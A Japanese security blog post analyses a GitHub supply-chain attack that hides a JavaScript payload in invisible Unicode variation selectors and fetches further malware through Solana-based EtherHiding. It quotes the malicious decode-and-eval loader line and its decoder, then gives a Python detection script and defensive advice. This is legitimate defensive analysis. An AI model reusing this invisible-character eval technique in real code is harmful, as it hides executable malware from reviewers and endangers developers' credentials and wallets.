見えないコードが18,250文字──GitHubを標的にした新型サプライチェーン攻撃を解剖する
Unicode変異セレクタ × EtherHiding × Solana、「隠蔽+難読化+耐削除性」の三重の隠蔽技術の全貌
はじめに──「空の文字列」に潜む18,250文字
コードレビューで、こんな1行を見かけたとしよう。
eval(Buffer.from(s(``)).toString('utf-8'));
「s に空文字列を渡して eval している。怪しいけど、空っぽだから何もしないでしょ」──そう思った瞬間、あなたは騙されている。
バッククォートの「中身」は、実は空ではない。目に見えないUnicode文字が18,250文字分、ギッシリと詰め込まれているのだ。
現在、GitHubの多数のリポジトリに対してこの手口による不正コード挿入が確認されている。手法の斬新さ、検出の困難さ、そして被害の波及範囲──どれを取っても、過去に類を見ないサプライチェーン攻撃だ。
40年近くソフトウェアの世界にいる私が「これは記録しなければ」と感じた案件なので、技術的な詳細も含めて徹底解説する。
攻撃コードの全貌
GitHub上で発見された侵害コードの59行目、たった1行がすべての元凶だ。
const s=v=>[...v].map(w=>(w=w.codePointAt(0),w>=0xFE00&&w<=0xFE0F?w-0xFE00:w>=0xE0100&&w<=0xE01EF?w-0xE0100+16:null)).filter(n=>n!==null);eval(Buffer.from(s(``)).toString('utf-8'));
一見すると「短い難読化コード」。しかし s(``) のバッククォート内には、肉眼では一切見えない文字が18,250個も隠されている。Windowsのメモ帳にペーストして初めて「18,250桁」という表示が出る。
技術解説──見えない文字の正体
Unicode変異セレクタ(Variation Selectors)とは
Unicodeには「変異セレクタ(Variation Selectors)」と呼ばれる特殊な文字群が存在する。本来の用途は、同一の絵文字や漢字を「テキスト表示」か「絵文字表示」かで切り替えるためのものだ。
範囲 文字数 本来の用途 U+FE00〜U+FE0F 16種 絵文字バリエーション指定 U+E0100〜U+E01EF 240種 表意文字バリエーション指定
合計256種類──つまり 1バイト(0〜255)のすべての値を表現できる。
攻撃者はこれを悪用した。本来「表示上の見た目」を変えるための文字を、データをエンコードするための文字として流用したのだ。
デコードのメカニズム
// 変異セレクタからバイト値を抽出する関数
const s = v => [...v].map(w => (
w = w.codePointAt(0),
w >= 0xFE00 && w <= 0xFE0F ? w - 0xFE00 // → 値0〜15
: w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 // → 値16〜255
: null
)).filter(n => n !== null);
// s(``) でバッククォート内の不可視文字列を読み取り
// → 数値配列 → Buffer → UTF-8文字列 → eval() で実行
eval(Buffer.from(s(``)).toString('utf-8'));
処理の流れを整理すると:
バッククォート内の不可視Unicode文字
↓ codePointAt() でコードポイント取得
数値配列(各値 0〜255)
↓ Buffer.from()
バイナリデータ
↓ toString('utf-8')
JavaScriptコード(約18KB相当)
↓ eval()
【実行】
なぜ検出が難しいのか
検出手段 突破できる理由 目視レビュー 変異セレクタは不可視のため、空文字列に見える grep / 文字列検索 空文字列を検索しても引っかからない 多くのlinter バッククォート内部をチェックしないものが多い Unicode正規化(NFC/NFD) 変異セレクタは正規化でも消えない diff確認 GitHubのdiff表示でも空白として表示される
これだけ多くの検出手段をすり抜けられるのは、Unicodeの仕様を深く理解した上での設計であることを示している。
第二段階──EtherHidingで追加ペイロードを取得
隠されたコードの中で行われることが、さらに巧妙だ。
18,000文字超のコードの目的の一つが、Solanaブロックチェーンの特定アドレスへのアクセスだ。
EtherHidingとは
EtherHidingは2023年頃に確認されたC2(Command and Control)手法で、ブロックチェーンのトランザクションデータやスマートコントラクトに悪意あるコードや命令を隠す技術だ。
[感染したGitHubリポジトリ]
↓ 実行
[変異セレクタをデコード・実行]
↓
[Solanaアドレスへアクセス]
↓ チェーン上のデータを取得
[追加の悪意あるコードを受信・実行]
ブロックチェーンをC2サーバーとして使う利点:
ブロックチェーンのトランザクションは削除・改ざんが不可能
特定のドメインをブロックしても防げない
運営主体が存在しないため、テイクダウン要求が通らない
Solanaは手数料が安く、大量のペイロード送信が容易
攻撃の全体像
【Stage 1】GitHubリポジトリへの侵害
├─ 正規リポジトリに59行目を追加
└─ PRやコミット権限の不正取得が疑われる
【Stage 2】不可視ペイロードの実行
├─ Unicode変異セレクタをデコード(18,250文字)
└─ eval()でJavaScriptコードとして実行
【Stage 3】EtherHiding経由でC2通信
├─ Solanaアドレスにアクセス
└─ 追加のマルウェアコードを取得・実行
【Stage 4】最終目的の実行
├─ 暗号資産ウォレット情報の窃取
├─ APIキー・認証情報の収集
└─ 感染の拡大(他リポジトリへの侵害)
暗号資産エコシステムを狙った攻撃という文脈から、ウォレットの秘密鍵や取引所のAPIキーを標的にしている可能性が高い。
なぜ今、これが増えているのか
背景には複数の要因が重なっている。
① npmエコシステムへの依存
現代のWebアプリケーション開発は、npmパッケージに強く依存している。1つのプロジェクトが何百もの依存パッケージを持つのは珍しくなく、すべてのコードを目視確認することは現実的に不可能だ。
② 開発者の信頼感
GitHubは「信頼できるコードが集まる場所」という認識がある。スター数の多いリポジトリ、長年メンテナンスされているパッケージは「安全」という先入観が生まれやすい。
③ Unicode の複雑さ
Unicodeには14万種類以上の文字が定義されている。変異セレクタのような「見えない文字」の存在を知っている開発者は多くない。知らなければ、存在に気づくことすら難しい。
④ ブロックチェーンの悪用
従来のマルウェアはC2サーバーをテイクダウンすれば無力化できた。ブロックチェーンベースのC2は、この対策が通用しない。
開発者・セキュリティ担当者がすべきこと
【即時確認】コードベースのスキャン
不可視のUnicode変異セレクタを検出するには、専用のツールが必要だ。
# Pythonで変異セレクタを検出するスクリプト
def find_variation_selectors(filename):
with open(filename, 'r', encoding='utf-8') as f:
content = f.read()
suspicious = []
for i, char in enumerate(content):
cp = ord(char)
if (0xFE00 <= cp <= 0xFE0F) or (0xE0100 <= cp <= 0xE01EF):
suspicious.append((i, hex(cp)))
return suspicious
# 使用例
result = find_variation_selectors('index.js')
if result:
print(f"⚠ 変異セレクタ検出: {result}")
【根本対策】依存関係の管理強化
# package-lock.json / yarn.lock の整合性確認を自動化
npm audit
npm ci # lock fileを厳密に使用(install より安全)
# Subresource Integrityの活用(CDN経由のスクリプトに有効)
【組織的対策】
対策 優先度 説明 CI/CDへのUnicodeスキャン導入 高 変異セレクタを含むコードをブロック コードオーナー制度の強化 高 重要ファイルの変更に必須レビューを要求 npmパッケージの固定 中 バージョンを固定し突然の変更を防ぐ SCA(ソフトウェア構成分析)ツール導入 中 依存関係の脆弱性・改ざんを継続監視 開発者教育 中 Unicode攻撃手法の認知向上
技術的に美しい(そして恐ろしい)
正直に言おう。この攻撃手法は、技術的な観点から見ると非常によく設計されている。
Unicodeの仕様を熟知した上で、視覚的な不可視性・静的解析の回避・ブロックチェーンによる永続性という3つの要素を組み合わせている。単なる「悪いコード」ではなく、高度な知識と設計思想の産物だ。
だからこそ危険だし、だからこそ我々エンジニアは手法を理解しておく必要がある。
「知らなかった」では、守れない。
まとめ
今回の攻撃を一言で表すなら「目に見えないものは、見えていないだけで存在している」だ。
バッククォートの「空文字列」に18,250文字の悪意あるコードが潜んでいた
Unicode変異セレクタという「見えない文字」をデータ隠蔽に悪用
ブロックチェーン(Solana)をC2サーバーとして使うEtherHidingで、削除不可能なC2通信を確立
40年近くこの業界にいると、「新しい攻撃手法」に何度も遭遇してきた。しかし、Unicodeの仕様とブロックチェーンの永続性という2つの特性を組み合わせたこの攻撃は、これまでにない斬新さがある。
サプライチェーン攻撃の防御は、もはや「信頼できるソースからのみ取得する」だけでは不十分だ。信頼していたソースそのものが侵害される時代に、我々は生きている。
コードレビューの基準を見直す時が来ている。
この記事が参考になったら、スキ(♡)をお願いします。セキュリティやAI活用に関する記事を定期的に発信しています。
